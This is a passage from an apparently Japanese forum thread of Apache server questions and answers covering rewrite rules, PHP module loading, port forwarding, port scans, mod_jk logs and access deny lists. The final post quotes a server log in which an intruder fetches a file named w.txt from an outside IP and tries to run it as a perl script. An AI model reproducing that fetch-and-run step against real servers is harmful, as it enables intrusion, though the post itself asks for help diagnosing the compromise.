と解釈させたいという事なのです

紛らわしくて申し訳ないです
124DNS未登録さん:2011/02/11(金) 15:12:43 ID:???
>>123
RewriteRule ^(.+)\.html?(.+)$ index.php?var1=$1&var2=$2 [L]
ではいかんの?
125DNS未登録さん:2011/02/11(金) 15:18:37 ID:???
それか、
RewriteRule ^(.+)\.html/var2=(.+)$ index.cgi?var1=$1&var2=$2 [L]
126DNS未登録さん:2011/02/12(土) 03:09:23 ID:???
122が書いてる通りRewriteRuleは/から。
>>121>>123>>124 も$1が/で始まっちゃうよ。

RewriteRule ^/(.+)\.html\?var2=(.+)$ /index.php?var1=$1&va2=$2
こうじゃない?
127DNS未登録さん:2011/02/12(土) 11:43:08 ID:???
>>126
んにゃ。試したけど、それだと期待した通りに動かない。
xxx.xxx.xxx.xxx - - [11/Feb/2011:21:37:33 --0500] [www.example.com/sid#7f878b2d6960][rid#7f878d7bd7a0/initial] (3) [perdir /var/www/htdocs/] strip per-dir prefix: /var/www/htdocs/aaa.html -> aaa.html
xxx.xxx.xxx.xxx - - [11/Feb/2011:21:37:33 --0500] [www.example.com/sid#7f878b2d6960][rid#7f878d7bd7a0/initial] (3) [perdir /var/www/htdocs/] applying pattern '^/(.+)\.html\?var2=(.+)$' to uri 'aaa.html'
xxx.xxx.xxx.xxx - - [11/Feb/2011:21:37:33 --0500] [www.example.com/sid#7f878b2d6960][rid#7f878d7bd7a0/initial] (1) [perdir /var/www/htdocs/] pass through /var/www/htdocs/aaa.html
xxx.xxx.xxx.xxx - - [11/Feb/2011:21:37:51 --0500] [www.example.com/sid#7f878b2d6960][rid#7f878d7c40b0/initial] (3) [perdir /var/www/htdocs/] strip per-dir prefix: /var/www/htdocs/ ->
xxx.xxx.xxx.xxx - - [11/Feb/2011:21:37:51 --0500] [www.example.com/sid#7f878b2d6960][rid#7f878d7c40b0/initial] (3) [perdir /var/www/htdocs/] applying pattern '^/(.+)\.html\?var2=(.+)$' to uri ''
xxx.xxx.xxx.xxx - - [11/Feb/2011:21:37:51 --0500] [www.example.com/sid#7f878b2d6960][rid#7f878d7c40b0/initial] (1) [perdir /var/www/htdocs/] pass through /var/www/htdocs/
こうなる。>>121と結果が変わるわけではない。
128DNS未登録さん:2011/02/12(土) 12:58:35 ID:???
(´・ω・`)
129DNS未登録さん:2011/02/12(土) 13:24:35 ID:???
いくつか試してRewriteLog眺めていれば気付くと思うんだが、
http://○○○○.com/aaa.html?var2=bbb
って書いても/aaa.htmlと合致するもの無いからスルーするぞとログに出る。
つまりはクエリーはチェックされていない。
これはちゃんとapacheのmod_rewriteに書いてある。
http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewriterule
What is matched? のトコ。

RewriteCond %{QUERY_STRING} var2=(.+)
RewriteRule ^/(.+)\.html$ /index.php?var1=$1&va2=%1
130121:2011/02/12(土) 17:37:28 ID:???
>>129
つまり片方のパラメータのみ静的アドレスに変換するのは出来ないということなのでしょうか?
131129:2011/02/12(土) 18:03:44 ID:???
>>130
・・・。

えっと、ここは俺が怒ってもいいトコだよね?
ちゃんとURL貼ってるんだから読みやがれーっていうコトと、
何を最後に書いているのか気付きやがれーっていうコトと。
132DNS未登録さん:2011/02/12(土) 18:17:04 ID:I+7s7+HK
Windows XP上でapacheを運用するとやたらに落ちる(2つ3つの同時アクセス程度で)
のですが、なにか対処方はないでしょうか?
環境はApache2.2.14(win32)+MediaWiki(PHP5.2.12+MySQL)となります。
スペックは、Core2Duo(1.2GHz)、Memory1GBなので、マシン性能の面では問題ないと思います。
(memcachedは使ってますが、他に特に変わった設定はしていないと思います。)

落ちた後は、固まったプロセスがアクセスを処理しているのかhttpアクセスに反応しなくなります。
固まっているhttpdプロセスは40MBくらいメモリを食って、(他にhttpdプロセスが残っていれば)殺すと正常動作に戻ります。
#もう少し落ちないようになるか、落ちてもプロセスが自動で死んでくれたら運用上問題ないのですが
133121:2011/02/12(土) 18:45:16 ID:???
>>131
すみません、よく読んでませんでした
最後に書かれていた物を試したところ無事解決することができました
ありがとうございました
134DNS未登録さん:2011/02/17(木) 06:39:03 ID:BFoudrYo
apacheとphpをインストールしたいのですが何度やり直してもできません。
インストール自体はできるのですが、
The requested operation has failed!と、というエラーがでてスタートできない状態です。

apacheのみだと、初期設定のままインストールすると使えるのですが、
サイトや本の手順に沿って、phpをインストールするとスタートできなくなります。

作業手順で、
httpd.confにLoadModule php5_module "C:/Program Files/PHP/php5apache2_2.dll"
の一文を追加すると記述されていますが、
そもそも、phpフォルダにphp5apache2_2.dllなどというファイルがなく、
近しい名前だとphp5.dllくらいしか見当たらないのですが、入っていないなんてことありえるのでしょうか?

参考にしたサイトは
ttp://pocketstudio.jp/log2/2007/01/windows_apache_224_php_520.html
OSはWindowsXPのprofessional、SP3
apacheはhttpd-2.2.17-win32-x86-openssl-0.9.8o.msi
phpはphp-5.2.17-nts-Win32-VC6-x86.msi です。

インストーラー版以外にも試しましたが同じ結果でした。
ほとほど困り果てています。よろしければどなたかお願いいたします
135DNS未登録さん:2011/02/17(木) 11:31:33 ID:???
Correct PHP5 DLL for Apache 2.2? - Server Fault
http://serverfault.com/questions/100590/correct-php5-dll-for-apache-2-2

apache php php5.dllでggったらtopに出てきたぞこら
136DNS未登録さん:2011/02/17(木) 14:16:49 ID:???
access_logのIPが全て同じになります。
X-Forwarded-Forには何も出てきません。
netstatで見ると正常なんですが・・・
なんでだろ〜
137DNS未登録さん:2011/02/17(木) 14:42:34 ID:???
>>136
IP masquerading?
138DNS未登録さん:2011/02/17(木) 14:56:27 ID:???
前段に何がいるのさ?LB?proxy?邪悪な代理サーバ?
139136:2011/02/17(木) 15:07:13 ID:???
携帯からアクセスしたらドコモの串のIPが出ました。
串を通さないとIPが同じになるみたいです。
ちなみに記録されるIPはサーバーのIPではありません。
もちっと調べます・・・
140136:2011/02/17(木) 15:39:53 ID:???
クラスEのIPが記録されてました。あれれ〜
141DNS未登録さん:2011/02/17(木) 15:45:39 ID:???
そりゃもう、邪悪な代理サーバの仕業だっぺ…
142DNS未登録さん:2011/02/17(木) 16:29:19 ID:???
>>136
そのIPはどこのIPなのさ
143DNS未登録さん:2011/02/17(木) 22:44:44 ID:8sXS75GH
質問ががあります。

XP機になんですが
Apacheいれて
httpd.confの設定もちゃんとやって
固定IPのPPPOE設定して
ファイアーウォールとCTUの両方のポート開放
もしてみたんですが
なぜか外部からは見えません。
何が原因なのかわかりません。
お分かりのかたがいれば教えてください。
144DNS未登録さん:2011/02/17(木) 22:57:00 ID:???
内部の別端末からは見れる?
外部からは直IPアドレスで試したの?それともFQDN?
145DNS未登録さん:2011/02/17(木) 23:30:35 ID:8sXS75GH
>>144
別の動的IP接続のPCからは直に固定IP入れたら見れます。
しかし、http://ドメイン/入れたらNG
また、cmanで固定IP入れてポート80の開放確認してみたらNGだった。
 
146DNS未登録さん:2011/02/17(木) 23:34:18 ID:8sXS75GH
あと試しに固定IP外して
ローカルIPにしてみて
mydns.jpのDDNSに登録して
DiCEの設定して
DDNSでやってみてもだめだった。
147DNS未登録さん:2011/02/17(木) 23:54:14 ID:???
ごめん。cmanってなに?
"別の動的IP接続のPC"というのは同じ内部ネットワークにいるの?
同じ内部ネットワークからグローバルIPアドレスで繋がるの?
その上でFQDNだと到達できない…んですか???

ここにグローバルIPアドレス入れて、正しいFQDNは引けますか?
ttp://www2s.biglobe.ne.jp/~cru/library/tools/nslookup.html
148DNS未登録さん:2011/02/18(金) 00:18:08 ID:WsJCbdX7
cmanというのはサーバーの動作チェックサイトです。
ttp://www.cman.jp/network/
別の動的IP接続のPCは同じ内部ネットワーク内です。
教えていただいたサイトで
グローバルIPアドレスxxx.xxx.xxx.xxxおよびドメインxxx.comを
入れてみましたが
お互いに正しいFQDNは引けています。
149DNS未登録さん:2011/02/18(金) 00:25:06 ID:???
なるほど。cmanって便利ですね。

とりあえず、そういう状況であれば、原因はポート解放ミスですね。
>ファイアーウォールとCTUの両方のポート開放
の設定がおかしいとしか思えないので、あとはネットワークの問題です。
CTUっていうことはフレッツですかな?サポートか、ネット関連の
スレで改めて聞いてくださいませ m(_ _)m
150DNS未登録さん:2011/02/18(金) 00:28:53 ID:WsJCbdX7
>>149
ありがとうございました。
151DNS未登録さん:2011/02/18(金) 11:18:29 ID:???
ルータ2つあって、設定うまくいってなかったりしないか?
152DNS未登録さん:2011/02/18(金) 21:27:43 ID:???
自宅サーバを立ててみました。

ルータの設定で、
LAN側(プライベートIPアドレス)のWebサーバ(ポート番号80)を
WAN側(グローバルIPアドレス)のポート番号12000番に変換します。

WAN側のPCからhttp://(自宅サーバのグローバルIPアドレス):12000/index.html
とすると、自宅サーバにアクセスできました。

このポート変換はセキュリティ対策に効果ありますか?
それともセキュリティ上は無意味?
153DNS未登録さん:2011/02/18(金) 21:50:37 ID:???
>>152
ポート変換そのものにはセキュリティ上の意味はないな。
あるとすれば非標準(80ではない)のポートということで、不正アクセスに
見つかりにくい程度。
154DNS未登録さん:2011/02/18(金) 21:53:49 ID:???
>>153
ありがとう。
よくポートスキャンという言葉をきくけど、
それを行うことで、ポートが開いているかと、どのプロトコルが
有効なのかもバレてしまうのでしょうか?(この場合はhttpが有効であると・・・)
155DNS未登録さん:2011/02/19(土) 10:14:46 ID:???
>>154
ポートスキャンって、要はTCPで規定されているすべてのポート(0から65535まで)に
対してアクセスしてみて、繋がるかどうかを試してるだけだから、非標準のポートを
利用することで見つかりにくいことは確かだが、見つからない保証はない。

httpかどうかも、実際に "GET /" って送信してみて反応があるかどうかを試せば
容易に判別可能だから、可能かどうかと言えば「可能」。
156DNS未登録さん:2011/02/19(土) 11:45:08 ID:???
>>155
ありがとう。
httpだけを探すポートスキャンのプログラムを作れば、結構簡単に
発見されてしまいそうね。
結論は、httpポート変換は「セキュリティ的には僅かに効果がある」
程度ね。
157DNS未登録さん:2011/02/19(土) 19:57:56.16 ID:???
開いてるポート調べて標準的なプロトコル片っ端から試せば良いだけだから
セキュリティにもなりゃしないけどな
精々BOT避け程度と考えていてくれてた方がいい
158DNS未登録さん:2011/02/19(土) 21:45:48.68 ID:???
なんか無闇に不安を煽る奴がいるな。

httpdのポートを変更した場合、ポートスキャンを受ければなす術は無いが
おかしな事をしてない限りポートスキャン自体、まず受ける事ねーから。
159DNS未登録さん:2011/02/20(日) 11:10:21.20 ID:???
5年くらい前の話だけど、友達(女)のはADSLでインターネット接続。
USB接続のADSLモデムだった。
ルータの機能が無くて、ダイレクトに外から見れてしまうという恐ろしいやつ。
なんていうセキュリティソフトだったか覚えていないけど、
時々「ポートスキャンをかけられました!」って趣旨のエラーが出るとその子が言ってきた。

もちろん、「そりゃ大変だ。家に行かないと修理できない!」とか
言ってお邪魔させてもらいました。
結局何も出来なかったけど。(いろんな意味で)

ちなみに、Fromは中国からだったけどね。
160DNS未登録さん:2011/02/20(日) 11:24:10.41 ID:???
ワロタw
その後定期保守してないの?ww
161DNS未登録さん:2011/02/20(日) 11:48:34.66 ID:???
8MbpsのYahoo! BB ADSLなんて、もろ、生だったじゃん。
162DNS未登録さん:2011/02/20(日) 12:07:32.91 ID:???
>>161
> 8MbpsのYahoo! BB ADSLなんて、もろ、生だったじゃん。

あれは、近所の通信もただ漏れだったからレベルが違う。
契約した時その噂聞いてたから、パケットキャプチャしたら、
ポート 6699 (要するに WinMX) のパケットがバンバン流れてて
ちょっとワロタ。

あと、ftp のログインパスワードなんかも流れてて危ねぇなぁ
と思ったのも遠い昔だ。

>>159 の話は今でも普通にあると思う。
ルーターのフィルターログとってないから確証はないけど。
163DNS未登録さん:2011/02/20(日) 16:55:05.67 ID:???
>>162
ここ数年F/Wのログ見てるけど、ポートスキャンって全く無いけどな。
その代わり特定のポートに関しては結構アタックがくる。
tcp/21,80,135,443,445,8080...etc
164DNS未登録さん:2011/02/20(日) 23:17:05.67 ID:???
>>163
どこの記事で読んだか忘れたけど、特定ポート以外だと3桁くらいアクセス数が違った記憶が。
ポートを変えただけで安心してはだめだけど、余計なサーバリソースを使わせないって位の意味で変更した方がいいのかと思った。
というわけで、不特定多数に公開していないサービスは、ポート番号を変える運用にしてる。
165DNS未登録さん:2011/02/23(水) 08:53:20.88 ID:???
CentOS 64bit
Apache 2.2.17 + mod_jk 1.2.31 + Tomcat 6.0.32
mpm worker

で、プロセスが大量に発生し、応答がなくなる現象に困っています。

設定は以下の通りです。

KeepAlive Off
HostnameLookups Off
LogLevel crit

<IfModule mpm_worker_module>
ServerLimit 4
ThreadLimit 64
ThreadsPerChild 64
StartServers 2
MaxClients 256
MinSpareThreads 128
MaxSpareThreads 256
MaxRequestsPerChild 0
</IfModule>

詳しい状況はこんな感じです。
3日ほどは正常に動作しているのですが、急にプロセス数が80程になり、応答しなくなります。
監視ツール(zabbix)をみると、CPUはその間休んでいるようで、CPU使用率はほぼ0です。
この間Tomcatは正常に動作し、応答します。(内部のサーバからTomcatに接続テストしてみました)
ログには何も記載されていない。

どなたか、お力を貸してください。。。
もしスレ違いでしたら、誘導お願いします。
166DNS未登録さん:2011/02/23(水) 08:59:31.82 ID:???
ハックされたんじゃね?
167165:2011/02/23(水) 09:02:19.82 ID:???
>>166
た、たとえばどんなふうにでしょうか?
168DNS未登録さん:2011/02/23(水) 09:07:46.01 ID:???
スマソ言ってみただけ
一旦再起動してみて解決しないようだったらそうかもね
設定類は弄ってないんだろ?
169DNS未登録さん:2011/02/23(水) 09:16:29.95 ID:???
>>168
すみません、忘れていました。
サービス再起動で復帰します。
そしてまた数日すると再発します。。。

設定類はデフォルトからは少しいじりましたが、
ここ半年くらいは変更していません。
ただ、サーバソフトのアップデートはしています。
170DNS未登録さん:2011/02/23(水) 14:08:36.92 ID:???
1日ごとに再起動すればいんじゃね

設定をデフォルトに戻して原因を特定するとか
apacheを入れ直すとか
171DNS未登録さん:2011/02/23(水) 23:08:27.30 ID:???
メモリの増え方とかはどうかな。
172DNS未登録さん:2011/02/24(木) 04:02:45.28 ID:u809qM9W
セマフォ関係かも
173DNS未登録さん:2011/02/24(木) 09:59:28.84 ID:???
>>170
結局 cron で毎日再起動するようにして、
現状は回避することにしました。

>>171
プロセスが増えていく間はガンガンメモリ使っていきます。
PC自体には結構な量のメモリが搭載してあるので、
枯渇するまではいかず、その前に応答が無くなってしまいます。

>>172
後情報で申し訳にのですが、
PCは実は他人からもらったもので、
セマフォがなにかいじられているかもしれません。
ちょっと見てみます。

皆様ありがとうございました。
解決の糸口を色々教えていただいただけでも、
作業の指針となり、とても感謝しています。
解決しましたら、このスレにて報告させていただきます。
174DNS未登録さん:2011/02/24(木) 11:02:27.67 ID:???
>>165
logrotate辺りはどう?
rotate処理の際、記載がおかしくて追加でプロセス起動しちゃってるとか。
175DNS未登録さん:2011/02/28(月) 12:14:10.97 ID:???
mod_jkのログの中で、

[Thu Jul 09 18:50:53 2009] [13828:50960] [info] jk_handler::mod_jk.c(2254): Service error=0 for worker=loadbalancer

最初の日付の次に出力されてる『13828:50960』は何を意味しているのでしょうか?
176DNS未登録さん:2011/02/28(月) 15:06:48.99 ID:???
ソース見たけど、jk_util.cの
rc = snprintf(buf + used, usable_size - used,
"[%" JK_PID_T_FMT ":%" JK_PTHREAD_T_FMT "] ", getpid(), jk_gettid());

これかな。プロセスIDとスレッドID
177DNS未登録さん:2011/02/28(月) 17:41:46.95 ID:G/roQe64
http://httpd.apache.org/ 落ちてる?
178DNS未登録さん:2011/02/28(月) 18:16:10.76 ID:???
>>177
少なくとも今はアクセスできてる
179DNS未登録さん:2011/02/28(月) 20:55:45.94 ID:???
>>178
当時落ちてたんだね
今はつながる

apache.org 看板しょっているのに ね
180DNS未登録さん:2011/02/28(月) 23:46:29.70 ID:???
>>179
営利でもないところに安定性とか求めない
oops!って言われても泣かない
181DNS未登録さん:2011/03/02(水) 11:25:58.26 ID:???
安定性を求めない・・・

そんな馬鹿なw
182DNS未登録さん:2011/03/02(水) 18:26:31.02 ID:???
まあ予告なくメンテとかあっても不思議じゃないわな
183DNS未登録さん:2011/03/05(土) 19:21:34.79 ID:???
>>179
看板しょってるから落ちちゃ駄目って、どこの駄目クライアント?
184DNS未登録さん:2011/03/05(土) 19:46:57.78 ID:???
amazon
185DNS未登録さん:2011/03/16(水) 14:00:38.45 ID:rvxeDPVr
61.160.212.242 - - [16/Mar/2011:01:13:10 +0900] "GET http://218.30.115.246/ HTTP/1.1" 200 6797 "-" "-"
みたいなアクセス(Proxyが使えるか調べている??)をログに残したくないのですが、
SetEnvIf Request_URI "^http" no-logfile
CustomLog "logs/access.log" combined env=!no-logfile
だとうまくいきません。
何かよい方法はないでしょうか。よろしくお願いします。
186DNS未登録さん:2011/03/16(水) 14:06:38.75 ID:???
^/http にすればいいのかな?
187DNS未登録さん:2011/03/16(水) 15:19:22.29 ID:???
Request_URIってサーバ名より下だろ?
188DNS未登録さん:2011/03/16(水) 15:44:27.23 ID:???
う〜ん?
そもそも「GET http://〜 HTTP/1.1」ってのがよく分からない
http://host/http://〜」へのアクセスじゃないのか?
189DNS未登録さん:2011/03/16(水) 15:53:09.01 ID:???
中見てみるといい
つか>>186へつっこんだだけね。
190DNS未登録さん:2011/03/16(水) 16:26:04.85 ID:???
>>188
proxy有効になってる?
そもそも有効にしていて邪魔なログをよけたいの?
191185:2011/03/16(水) 17:00:49.83 ID:???
無効なのですが、ログに残ってしまうので、邪魔なログをよけたいのです。
192DNS未登録さん:2011/03/16(水) 17:34:45.37 ID:???
そんなに多いのか。
GET のリクエストがhttp::で始まっていても
Request_URIはサーバ名以下しか出ないよ
別の識別方法が必要かな
193DNS未登録さん:2011/03/16(水) 18:35:31.58 ID:???
ログを残さないんじゃなくて、ログを残した上で後から除外することを考えろ。
わけわからんことをやろうとしてる輩がいるのに、
その記録が残っていないと後で調べることもできない。
194DNS未登録さん:2011/03/16(水) 20:55:58.64 ID:???
>>185
そんなところからのアクセス、はじいちゃえば?
フリーの串としてどこかに乗っちゃってるなら、どうしようもないけど。
195DNS未登録さん:2011/03/17(木) 17:51:21.78 ID:???
微妙にスレ違いかもしれませんが教えて下さい。
javaを動かすサーバーの場合、tomcatだけでも動作しますが
Apacheと連携させて使う事例が多いと思います。

動かすミドルウェアが2つになるわけですから、動作が重くなるように思えるのですが
なぜ連携させるところが多いのでしょうか?
tomcatに無く、Apacheにあるメリットがあるんでしょうか?
196DNS未登録さん:2011/03/17(木) 18:05:20.69 ID:???
>>195
apacheの各種モジュールが使える。
tomcat側で障害が発生しても、apacheは生きているのでwebサービスは提供できる。
セキュリティ面いろいろ。
197DNS未登録さん:2011/03/17(木) 20:52:18.34 ID:???
>>196
あ〜、確かにPHPとか使えればpukiwiki入れたりできますもんね。
tomcatはapacheより死にやすいから、tomが死んでもせめてapacheでエラーメッセージを出したいと。

セキュリティに関してはよくわかりませんが
apacheはいろんなとこで使われてますから、確かに堅固なシステムが作れるのかもしれません。

ありがとうございました。
198DNS未登録さん:2011/03/18(金) 16:07:19.07 ID:???
>>192
昔やってたけど、どうやってたかは忘れた。
たぶんHTTP_HOSTが想定内ならENV付けてみたいな感じだったと思う。
199DNS未登録さん:2011/03/20(日) 22:09:33.10 ID:???
Cannot load d:/php/php5apache2_2.dllで苦しんでます。
環境はApacheは2.2.17。PHPは5.2.8x64。win7x64環境です。
PHPを覚えるための導入自体に躓いて心が折れそうです。

php5apache2.dllならどうだ?と以前の5.2.13のものもいれて試したりしてます。
PHPIniDir "d:/php″と書いてもいます。
どなたかこうしたらうまくいったとかありませんか
200DNS未登録さん:2011/03/21(月) 16:03:27.88 ID:???
Apacheは64bit版なのか?
201DNS未登録さん:2011/03/24(木) 00:53:39.92 ID:???

【2ch激論】ダム板が統合・廃止へ!人気スレ「また騙されてダム板に…」がなくなる?
http://kamome.2ch.net/test/read.cgi/river/1299720645/
202DNS未登録さん:2011/03/25(金) 05:44:01.56 ID:???
サイトに64bitと書いてるものがなかったので考えてなかったです。
ぐぐったらあるんですね。
チャレンジしてみます
203DNS未登録さん:2011/03/28(月) 15:13:31.70 ID:???
dllとそれを呼び出すプロセスは、64なら64、32なら32で
統一しないと読み込めないよ
204DNS未登録さん:2011/04/01(金) 22:51:07.28 ID:BZpWznPG
ファイル名がパーセントエンコーディングされたファイルにアクセスするには
二重にパーセントエンコーディングした URL を用いないといけませんが
この URL の自動デコードは、何という名称の機能によるものでしょうか
205DNS未登録さん:2011/04/01(金) 23:28:33.59 ID:???
特定の法則でエンコードしたものをデコードするときに、その
デコード方法にわざわざ新しい名前を付けることって…なくない?
まぁこの辺で調べて↓
http://tools.ietf.org/html/rfc3986#section-2.1
206DNS未登録さん:2011/04/02(土) 07:39:18.87 ID:x4HT2+rS
すみません、HTTP リクエストラインの、リクエスト URI の扱いのことです
RFC に「デコードしなければならない」と明記されていました。申し訳ございません
http://tools.ietf.org/html/rfc2616#section-5.1.2
207DNS未登録さん:2011/04/02(土) 18:41:01.88 ID:yi8ff50E
ここでの質問でいいかどうか分からないのですが
違ってたら誘導してください

1.あるWebサイトをNetcraftで調べたら
OSはHP-UXでServerはRapidsite/Apa
と出てて、

www.rapidsite.jp/で調べたら
http://www.rapidsite.jp/support/manual/vps-sb/e_8391.html

OS:Red Hat Enterprise Linux 4
Apache 2.0.63
(2011年3月31日時点)
とあるのですが、
ヒューレットパッカード社のUnix系のOS"HP-UX"上で
VMwareみたいな仮想化ソフトが動いていて(実際に何使ってるかは分かりませんが)
その仮想マシン上でRHELが動いていて、中にApache 2.0.63
がインストールされている、という理解で良いですか?

wget --spider -S "そのサイトのURL"
するとServer: Rapidsite/Apaと出ます。

2.httpd.confの
ServerSignatureディレクティブで
Server:Rapidsite/Apaみたいに書く方法は標準ではないですよね?
どうすれば書き換えが出来るのでしょうか
208 忍法帖【Lv=40,xxxPT】 :2011/04/03(日) 01:20:06.11 ID:???
>>207
「IRIX Rapidsite」で調べれば?
209DNS未登録さん:2011/04/03(日) 01:30:07.70 ID:???
>>207
UNIX板Apacheスレかな。あるのかは知らんが。

>Server:Rapidsite/Apaみたいに書く方法は標準ではないですよね?
>どうすれば書き換えが出来るのでしょうか
ソース書き換えるとできる。かなり簡単。
210207:2011/04/03(日) 14:40:21.84 ID:vJL8I+nt
うぅ、難しいです。

IRIX Rapidsiteで調べたら
このページを見つけました
http://www.rapidsite.jp/support/manual/basic/e_1363.html

Unixのところに
〜RapidSite のサーバも UNIX サーバー(IRIX)である〜
とあるのですが、
Netcraftで調べたら OSはHP-UXと出るし?

IRIXってSGIのですよね?かなり古そうで実際に使ってないのでは?
211207:2011/04/03(日) 14:41:19.47 ID:vJL8I+nt
VPSの商売をするのに今時IRIXを使ってるのでしょうか…
212207:2011/04/03(日) 14:54:21.34 ID:vJL8I+nt
ソースってhttpd.hの
#define SERVER_BASEPRODUCT
の所でしょうか?
213207:2011/04/03(日) 15:01:30.18 ID:vJL8I+nt
あった。
ここですね。

Apacheを使っている存在をソース段階で隠す
http://www.itmedia.co.jp/help/tips/linux/l0590.html

ServerTokensディレティブの書き換えが分かりやすく
説明されてました!
214DNS未登録さん:2011/04/03(日) 15:24:42.57 ID:???
uze
215DNS未登録さん:2011/04/06(水) 17:02:55.04 ID:???

【北朝鮮】俺たちの金正男が福島の被災地に来て救援物資を配ったらしいぞwww
http://toki.2ch.net/test/read.cgi/news7/1290948938/
216DNS未登録さん:2011/04/08(金) 20:10:46.25 ID:qMHssdVY
.cur ファイルの MIME type は image/vnd.microsoft.icon で良いのでしょうか
217DNS未登録さん:2011/04/11(月) 14:38:38.18 ID:???
image/x-cur は?
218DNS未登録さん:2011/04/19(火) 12:13:47.07 ID:???
学校等のポート制限下でニコ動のキャッシュサーバーnicocache_nlを
使用したいのですが、
apacheのmod_proxyとかでapacheはポート80 nicocacheはポート2525という感じで
2重にproxy通すようなことはできないでしょうか。
219DNS未登録さん:2011/04/20(水) 20:38:00.68 ID:???
ProxyRemote
220DNS未登録さん:2011/04/21(木) 09:16:36.05 ID:???
スレ違いかと思いますが、lighttpのスレがなかったようなのでここで質問させてください。

Apache2で現在下記の設定をしていてlighttpdで同じ事をしたいのですがやり方が解りません。

<Location /rc/>
ProxyPass http://192.168.0.151:90/rc/
SetEnv force-proxy-request-1.0 1
SetEnv proxy-nokeepalive 1
</Location>
RewriteEngine on
RewriteRule ^/rc/(.*)$ http://192.168.0.151:90/rc/$1 [L,P,QSA]

現在Apache2は192.168.0.254で動いています。

インターネットから「http://hogehoge.com/rc/」と来たら151:90につなぎたいです。

余所に誘導してくださっても助かります。
221DNS未登録さん:2011/04/21(木) 11:05:34.86 ID:???
>>220
【軽量】lighttpd【通常の3倍】
http://hibari.2ch.net/test/read.cgi/mysv/1126008399/
222DNS未登録さん:2011/04/21(木) 12:25:20.48 ID:???
>221

ありがとう
誘導先で聞いてみます
223DNS未登録さん:2011/04/25(月) 17:25:10.12 ID:ZggvQgNG
特定のモジュールを禁止することはできますか?
224DNS未登録さん:2011/04/26(火) 02:07:09.71 ID:???
いまいち目的がわからないが、モジュールを読み込まなければいいとかそうゆうことじゃないのか?
225DNS未登録さん:2011/04/29(金) 23:26:41.86 ID:???
自宅鯖でも SuExec は設定しておいた方が良い?
226DNS未登録さん:2011/04/30(土) 15:55:29.42 ID:???
>>225
どうしても必要な場合に限って設定するもの。
必要がなければ最初から外せ。
227DNS未登録さん:2011/04/30(土) 16:03:02.04 ID:???
逆だろ
どうしても必要ない場合に限り外すもの
普通は最初から有効にしておく
228DNS未登録さん:2011/04/30(土) 16:23:20.18 ID:???
自分しか使わないパソコンに何で管理権限とかあんの?
229DNS未登録さん:2011/04/30(土) 17:34:32.24 ID:???
230DNS未登録さん:2011/04/30(土) 22:09:54.29 ID:???
>>228
インターネットから独立したスタンドアローンな228みたいな環境なら、不要だろうね。
231DNS未登録さん:2011/05/01(日) 11:01:12.26 ID:???
結局ファイルに対してどのユーザでアクセスするかってことでしょ?
232DNS未登録さん:2011/05/01(日) 14:59:57.41 ID:???
糞みたいにシェルに環境変数を設定していて、そのシェルからhttpdを起動すると
その糞環境変数を全部引き継いでたりするけど、SuEXECを通せばそのあたりは
フィルタリングされるんだっけ?
233DNS未登録さん:2011/05/02(月) 10:18:07.40 ID:???
>>232
起動させる為のシェルに糞みたいに無駄な変数を書くことをやめればいいんじゃないのか?
っていうか、無駄に書く意味がわからない。
234DNS未登録さん:2011/05/02(月) 11:56:54.65 ID:???
PAGER=lessとかTZ=Etc/UTCくらい書くだろ。
235DNS未登録さん:2011/05/02(月) 13:14:40.96 ID:???
apacheの起動スクリプトにPAGERなんて必要ねぇだろ。
あとスレ違い。
236DNS未登録さん:2011/05/02(月) 16:55:59.02 ID:???
必要ねぇけどセットされてるシェルからhttpdを起動したらhttpdへ値が渡っちゃうだろ。
237戦士カンガイバー ◆DMLinuxPbA :2011/05/02(月) 17:18:36.29 ID:???
起動スクリプトに /usr/env -i を入れとけばいいんじゃね?
238DNS未登録さん:2011/05/13(金) 20:11:56.36 ID:???
ProxyPass / http://www.example.com
した上で、cgi-binに関してはローカルで
ScriptAlias /cgi-bin/ "/usr/local/www/awstats/cgi-bin/"
したい場合はどうすれば良いのでしょうか
239DNS未登録さん:2011/05/14(土) 00:42:43.49 ID:gXZaaXHZ
apacheのdeny設定でおすすめはありませんか?
ログ読みながら一から設定するの面倒なのでおすすめテンプレートみたいのあったら欲しいです。
240DNS未登録さん:2011/05/14(土) 03:29:31.85 ID:???
うざい国からのアクセスを全て遮断 2国目
http://hibari.2ch.net/test/read.cgi/mysv/1201798057/

自分はここを参考に、日本へ割り当てられてる IP と、
Google の IP が含まれてるであろう範囲を Allow にして、
そのほかの地域はざっくり deny にした。


# 日本のみ接続許可
order deny,allow
deny from all
allow from 192.168.0.0/24 ← ローカル
Include conf/allowiplist.txt ← 日本への割り当て
Include conf/allowiplist2.txt ← 追加 (Google とか Yahoo! とか、追加で許可させたいもの)


こんな感じで設定してる
241DNS未登録さん:2011/05/14(土) 04:35:02.52 ID:???
そして訪れる者はいなくなった
ちゃんちゃん
242DNS未登録さん:2011/05/14(土) 06:42:22.92 ID:???
まずは、どんなものを拒否したいか(してるか)を書いたほうがいいんでね
うざいbotを主に蹴ってるなら海外全部設定する必要ないんだし
243DNS未登録さん:2011/05/25(水) 15:58:43.90 ID:???
質問です。
マルチポストすみません。

以下の設定が前提です。

■ ディレクトリ構成(一部抜粋)
/var/www/hoge
/var/www/hoge/hage
/var/www/hoge/hage/hige

■ httpd.conf(一部抜粋)
DocumentRoot /var/www/html

Alias /hage /var/www/hoge/hage
<Directory "/var/www/hoge/hage">
SSLRequireSSL
ErrorDocument 403 "SSL Require -> https://"
AllowOverride All
Order allow,deny
Allow from all
</Directory>

【やりたいこと】
ディレクトリ /hage「だけ」に SSL をかけたいです。

【こまっていること】
上記設定ですと、/hage/hige にも SSL がかかってしまいます。
/hage にだけ SSL をかけることはできますでしょうか?
(そもそもの設定が間違っている可能性大ですが)
よろしくお願いいたします。
244DNS未登録さん:2011/05/25(水) 16:00:54.26 ID:???
SSLってのは通信が確立してからヘッダのやり取りをするんだよ
245DNS未登録さん:2011/05/25(水) 16:03:44.14 ID:???
246 忍法帖【Lv=40,xxxPT】 :2011/05/26(木) 23:01:00.32 ID:???
247DNS未登録さん:2011/06/14(火) 14:42:39.05 ID:???
詳しい方教えてください

apacheのログにこんなのが残ってました

======
[Mon Jun 13 15:39:18 2011] [notice] child pid 28713 exit signal Segmentation fault (
11)
--15:51:02-- http://203.114.112.98/w.txt
=> `w.txt'
Connecting to 203.114.112.98:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28,772 (28K) [text/plain]

0K .......... .......... ........ 100% 35.84 KB/s

15:51:03 (35.84 KB/s) - `w.txt' saved [28772/28772]

sh: fetch: command not found
Can't open perl script "w.txt": No such file or directory
=====

